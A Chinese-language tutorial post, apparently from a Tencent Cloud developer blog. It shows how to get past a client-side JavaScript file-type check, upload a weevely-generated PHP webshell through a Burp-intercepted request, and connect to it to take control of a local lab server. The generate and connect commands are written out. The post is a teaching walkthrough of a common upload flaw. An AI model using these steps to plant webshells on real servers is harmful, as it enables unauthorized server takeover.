前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >文件上传(一)基于前端js的破解

文件上传(一)基于前端js的破解

作者头像
逍遥子大表哥
发布2021-12-17 14:38:52
发布2021-12-17 14:38:52
3.3K00
代码可运行
举报
文章被收录于专栏:kali blogkali blog
运行总次数:0
代码可运行

Meting

Music server="netease" id="31877160" type="song"/

/Meting

当我们给web中上传webshell时,通常会遇到基于前端的js验证,来判断是否是jpg或者是png文件,如果不是,则阻断文件的上传。今天,我们一起来分析下,如何绕过前端js文件的验证。

生成PHP版的webshell

kali中执行下面命令:

代码语言:javascript
代码运行次数:0
运行
复制
weevely generate 123456 /root/hacker.php

即,在root目录下生成了一个hacker.phpwebshell

我们上传刚才生成的webshell,则提示如下

提示,文件格式不对,我们查看原因。

F12键,我们查看源码

我们得到了下方的代码

代码语言:javascript
代码运行次数:0
运行
复制
function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".jpg|.png|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name) == -1) {
            var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
            alert(errMsg);
            return false;
        }
    }

这是很典型的前端JS判断脚本,ok 我们看看怎样突破来自前端的限制。

  • 1,将我们生的的hacker.php改名为hacker.jpg
  • 2,启动神器burp设置好代理。 OK,准备好之后,我们开始上传文件。

这时,我们可以看到burp已经抓取了http包内容

现在我们需要在burp中将hacker.jpg改名为hacker.php然后点击intercept is off放行即可。

如图,我们则成功上传了webshell。点击右键-属性,查看文件上传的位置。

用kali连接webshell

代码语言:javascript
代码运行次数:0
运行
复制
weevely http://192.168.232.204/upload/hacker.php 123456

如上如图,成功获得服务器的权限。

题记

  • 1,本次演示仅在本地服务器测试,请勿非法使用。所造成的一切后果自行承担。
  • 2,后期还会更新其他类型的webshell上传方法,敬请期待。

版权属于:逍遥子大表哥

本文链接:https://cloud.tencent.com/developer/article/1920627

按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 生成PHP版的webshell
  • 用kali连接webshell
  • 题记
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档